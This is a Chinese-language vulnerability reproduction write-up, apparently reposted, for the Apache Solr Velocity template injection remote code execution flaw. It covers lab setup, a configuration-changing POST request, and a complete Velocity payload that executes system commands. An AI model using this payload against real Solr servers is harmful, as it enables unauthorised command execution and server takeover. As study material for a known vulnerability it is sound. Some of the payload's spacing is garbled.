0x01簡介
Solr是一款企業級的獨立搜尋應用程式伺服器,可透過Web服務API介面向外提供服務。使用者可以透過http請求,向搜尋引擎伺服器提交一定格式的XML文件,產生索引;也可以透過Http Get操作提出查找請求,並得到XML格式的回傳結果。
0x02漏洞介紹
Solr中存在VelocityResponseWriter元件,攻擊者可以建構特定請求修改相關配置,使VelocityResponseWriter元件允許載入指定模板,進而導致Velocity模版註入遠端命令執行漏洞,攻擊者利用該漏洞可以直接取得到伺服器權限。
0x03影響範圍
Apache Solr 5.x - 8.2.0,存在config API版本
#0x04環境建置
安裝java8環境,然後下載Solr,下載網址:
https://www.apache.org/dyn/closer.lua /lucene/solr/8.2.0/solr-8.2.0.zip
#下載完成後解壓縮然後進入bin目錄執行./solr start
unzip solr-8.2.0.zip
啟動會出現一些警告訊息,我們可以透過修改bin下的solr.in.sh檔案來進行消除,將SOLR_ULIMIT_CHECKS設為false
vim solr.in.sh
然後再進行啟動./solr start root啟動失敗的話在後面加上加上-force即可
#在瀏覽器訪問http://ip:8983,出現以下介面表示安裝成功
但是發現不能建立core
我們先手動在/server/solr /目錄下建立一個new_core的資料夾,然後將/server/solr/configsets/_default/下的conf目錄拷貝到new_core目錄下,之後再點建立
0x05漏洞復現
建立好Core後存取檢視該應用程式config檔是否可以存取
http://ip:8983/solr/new_core/config
Apache Solr預設整合VelocityResponseWriter插件,該插件初始化參數中的params.resource.loader.enabled預設值設定為false,但是可以透過POST請求直接修改整合設置,將其設為true,然後就可以建構特殊的GET請求來實現遠端程式碼執行。
使用Burp抓取本頁的包,直接建構POST請求,加入以下資料
{
"update-queryresponsewriter": {
" startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
. : "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
# }
}
#接下來我們就可以建構payload來實作RCE
payload:
http:// ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang .Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) # set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out .available()])$str.valueOf($chr.toChars($out.read()))#end
POC位址:https://github. com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
#0x06修復方式
##更新至最新版本以上是Apache Solr velocity模板注入RCE漏洞的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!